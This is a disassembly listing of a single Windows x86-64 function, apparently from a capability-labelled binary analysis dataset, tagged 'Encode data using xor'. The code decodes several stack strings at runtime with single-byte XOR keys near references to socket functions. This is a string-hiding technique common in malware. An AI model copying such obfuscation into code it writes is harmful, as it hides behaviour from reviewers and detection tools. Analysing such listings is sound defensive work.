Function at 0x140013510
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1402409c0]
xor rax, rsp
mov qword [rbp], rax
xor r14d, r14d
lea rcx, [rbp - 0x10]
call fcn.1400132c0
nop
call fcn.140006360
lea rcx, [rsp + 0x20]
call fcn.140002010
movabs r8, 0x7fffffffe2329aff
mov rax, qword [rsp + 0x20]
cmp rax, r8
je 0x14001358b
mov ecx, 1
mov edx, 0xff
cmovl ecx, edx
test cl, cl
jns 0x14001358b
add rax, 0x1dcd6500
jmp 0x140013595
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call fcn.140003f90
mov byte [rsp + 0x20], 0x68
mov al, reloc.WS2_32.dll_listen
mov cl, 6
mov dl, reloc.WS2_32.dll_ntohs
mov r8b, 1
movzx r9d, cl
movzx r10d, al
mov r11b, 0x46
mov bl, listen
mov dil, 4
movzx esi, dil
xor r15d, r15d
xor al, 0x68
mov byte [rsp + 0x21], al
xor cl, 0x68
mov byte [rsp + 0x22], cl
xor dl, 0x68
mov byte [rsp + 0x23], dl
xor r8b, 0x68
mov byte [rsp + 0x24], r8b
xor r9b, 0x68
mov byte [rsp + 0x25], r9b
xor r10b, 0x68
mov byte [rsp + 0x26], r10b
xor r11b, 0x68
mov byte [rsp + 0x27], r11b
xor bl, 0x68
mov byte [rsp + 0x28], bl
xor dil, 0x68
mov byte [rsp + 0x29], dil
xor sil, 0x68
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rsp + 0x21]
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140013640
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x50]
call fcn.140003a80
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call fcn.14000d3b0
mov rsi, rax
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400136a9
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400136a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013fe5
call fcn.14008bb34
movdqa xmm0, xmmword [0x140228e50]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
test rsi, rsi
jne 0x140013b18
mov byte [rsp + 0x20], 0x34
mov al, 0x51
mov cl, 0x5a
mov dl, 0x53
mov r8b, 0x5d
movzx r9d, cl
movzx r10d, al
mov r11b, 0x1a
mov bl, 0x50
mov dil, 0x58
movzx esi, dil
xor r14d, r14d
xor al, 0x34
mov byte [rsp + 0x21], al
xor cl, 0x34
mov byte [rsp + 0x22], cl
xor dl, 0x34
mov byte [rsp + 0x23], dl
xor r8b, 0x34
mov byte [rsp + 0x24], r8b
xor r9b, 0x34
mov byte [rsp + 0x25], r9b
xor r10b, 0x34
mov byte [rsp + 0x26], r10b
xor r11b, 0x34
mov byte [rsp + 0x27], r11b
xor bl, 0x34
mov byte [rsp + 0x28], bl
xor dil, 0x34
mov byte [rsp + 0x29], dil
xor sil, 0x34
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r14b
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rsp + 0x21]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x140013755
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x50]
call fcn.140003a80
nop
movdqa xmm1, xmmword [0x1402291a0]
movdqu xmmword [rsp + 0x38], xmm1
movdqa xmm2, xmmword [0x140229220]
movdqu xmmword [rsp + 0x48], xmm2
mov cl, 0x51
mov dl, 0x50
mov r9b, reloc.WS2_32.dll_sendto
mov r10b, 0x56
movzx r11d, cl
mov bl, 0x57
mov dil, 0x55
mov sil, 0x41
mov r14b, 0x47
movzx r15d, cl
movzx r12d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x39], al
xor byte [rsp + 0x3a], r8b
xor byte [rsp + 0x3b], r8b
xor byte [rsp + 0x3c], r8b
xor byte [rsp + 0x3d], r8b
xor byte [rsp + 0x3e], r8b
xor byte [rsp + 0x3f], r8b
xor byte [rsp + 0x40], r8b
xor byte [rsp + 0x41], r8b
xor byte [rsp + 0x42], r8b
xor byte [rsp + 0x43], r8b
xor byte [rsp + 0x44], r8b
xor byte [rsp + 0x45], r8b
xor byte [rsp + 0x46], r8b
xor byte [rsp + 0x47], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x48], al
xor byte [rsp + 0x49], r8b
xor byte [rsp + 0x4a], r8b
xor byte [rsp + 0x4b], r8b
xor byte [rsp + 0x4c], r8b
xor byte [rsp + 0x4d], r8b
xor byte [rsp + 0x4e], r8b
xor byte [rsp + 0x4f], r8b
xor byte [rsp + 0x50], r8b
xor byte [rsp + 0x51], r8b
xor byte [rsp + 0x52], r8b
xor byte [rsp + 0x53], r8b
xor byte [rsp + 0x54], r8b
xor byte [rsp + 0x55], r8b
xor byte [rsp + 0x56], r8b
xor byte [rsp + 0x57], r8b
xor cl, r8b
mov byte [rsp + 0x58], cl
xor dl, r8b
mov byte [rsp + 0x59], dl
xor r9b, r8b
mov byte [rsp + 0x5a], r9b
xor r10b, r8b
mov byte [rsp + 0x5b], r10b
xor r11b, r8b
mov byte [rsp + 0x5c], r11b
xor bl, r8b
mov byte [rsp + 0x5d], bl
xor dil, r8b
mov byte [rsp + 0x5e], dil
xor sil, r8b
mov byte [rsp + 0x5f], sil
xor r14b, r8b
mov byte [rsp + 0x60], r14b
xor r15b, r8b
mov byte [rsp + 0x61], r15b
xor r12b, r8b
mov byte [rsp + 0x62], r12b
mov byte [rsp + 0x63], 0
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x39]
lea rcx, [rbp - 0x30]
call fcn.140003950
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140013907
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013902
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013feb
call fcn.14008bb34
movdqa xmm0, xmmword [0x140228e50]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
movdqa xmm1, xmmword [0x140229000]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
mov byte [rsp + 0x30], 0
lea rax, [rsp + 0x21]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140013982
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x30]
call fcn.1400037e0
movdqa xmm1, xmmword [0x140228f00]
movdqu xmmword [rsp + 0x38], xmm1
movdqa xmm2, xmmword [0x140228ff0]
movdqu xmmword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x140229300]
movdqu xmmword [rsp + 0x58], xmm3
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x39], al
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor byte [rsp + 0x40], cl
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x48], al
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor byte [rsp + 0x50], cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x58], al
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor byte [rsp + 0x60], cl
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
mov byte [rsp + 0x68], 0
lea rax, [rsp + 0x39]
nop dword [rax]
inc r13
cmp byte [rax + r13], 0
jne 0x140013ab0
mov r8, r13
lea rdx, [rsp + 0x39]
lea rcx, [rbp - 0x30]
call fcn.1400037e0
lea rcx, [rbp - 0x30]
call fcn.14000ce30
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140013b10
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013b0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ff1
call fcn.14008bb34
xor r14d, r14d
jmp 0x140013fa9
mov byte [rsp + 0x20], 0x66
mov al, reloc.WS2_32.dll_recvfrom
mov cl, 0x1f
movzx edx, cl
mov r8b, 0x48
mov r9b, 0x2e
mov r10b, 0x31
movzx r11d, r8b
mov bl, 0x29
movzx edi, al
xor r15d, r15d
xor al, 0x66
mov byte [rsp + 0x21], al
xor cl, 0x66
mov byte [rsp + 0x22], cl
xor dl, 0x66
mov byte [rsp + 0x23], dl
xor r8b, 0x66
mov byte [rsp + 0x24], r8b
xor r9b, 0x66
mov byte [rsp + 0x25], r9b
xor r10b, 0x66
mov byte [rsp + 0x26], r10b
xor r11b, 0x66
mov byte [rsp + 0x27], r11b
xor bl, 0x66
mov byte [rsp + 0x28], bl
xor dil, 0x66
mov byte [rsp + 0x29], dil
mov byte [rsp + 0x2a], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x21]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140013ba0
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x30]
call fcn.140003a80
nop
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
mov rcx, rsi
call fcn.14000ce60
mov rbx, rax
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140013c0c
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ff7
call fcn.14008bb34
test rbx, rbx
jne 0x140013fa6
movdqa xmm0, xmmword [0x140229350]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1402293c0]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140229340]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0x7424776d
mov dword [rbp - 0x5c], 0x68666b76
mov dword [rbp - 0x58], 0x2a6961
mov rcx, r14
nop word [rax + rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x72], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x73], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x80], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x73], al
add rcx, 0x1d
cmp rcx, 0x3a
jb 0x140013c60
mov byte [rbp - 0x55], 0
mov byte [rsp + 0x20], reloc.WS2_32.dll_setsockopt
mov al, reloc.WS2_32.dll_WSASetLastError
mov cl, 0x7b
mov dl, WSAStartup
mov r8b, 0x7c
movzx r9d, cl
movzx r10d, al
mov r11b, 0x3b
mov bl, 0x71
mov dil, 0x79
movzx esi, dil
xor r15d, r15d
xor al, 0x15
mov byte [rsp + 0x21], al
xor cl, 0x15
mov byte [rsp + 0x22], cl
xor dl, 0x15
mov byte [rsp + 0x23], dl
xor r8b, 0x15
mov byte [rsp + 0x24], r8b
xor r9b, 0x15
mov byte [rsp + 0x25], r9b
xor r10b, 0x15
mov byte [rsp + 0x26], r10b
xor r11b, 0x15
mov byte [rsp + 0x27], r11b
xor bl, 0x15
mov byte [rsp + 0x28], bl
xor dil, 0x15
mov byte [rsp + 0x29], dil
xor sil, 0x15
mov byte [rsp + 0x2a], sil
mov byte [rsp + 0x2b], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x21]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140013e10
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x30]
call fcn.140003a80
nop
mov byte [rsp + 0x20], 0x2f
mov al, 0x69
mov cl, 0x46
mov dl, 0x43
mov r8b, 0x4a
mov r9b, reloc.WS2_32.dll_ntohs
xor r10d, r10d
xor al, 0x2f
mov byte [rsp + 0x21], al
xor cl, 0x2f
mov byte [rsp + 0x22], cl
xor dl, 0x2f
mov byte [rsp + 0x23], dl
xor r8b, 0x2f
mov byte [rsp + 0x24], r8b
xor r9b, 0x2f
mov byte [rsp + 0x25], r9b
mov byte [rsp + 0x26], r10b
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x21]
lea rcx, [rsp + 0x38]
call fcn.140003950
nop
lea rcx, [rsp + 0x71]
inc r13
cmp byte [rcx + r13], 0
jne 0x140013e80
mov r8, r13
lea rdx, [rsp + 0x71]
mov rcx, rax
call fcn.1400037e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140013f04
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013eff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ffd
call fcn.14008bb34
movdqa xmm0, xmmword [0x140228e50]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140013f52
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013f4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014003
call fcn.14008bb34
movdqa xmm0, xmmword [0x140228e50]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
lea rcx, [rbp - 0x50]
call fcn.14000ce30
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140013fa9
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013f9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014009
call fcn.14008bb34
jmp 0x140013fa9
mov r14, rbx
cmp dword [rbp - 8], 0
jne 0x140013fdf
mov rax, r14
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.14008b890
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400929f0
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
int3
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
nop
call fcn.140092e28
int3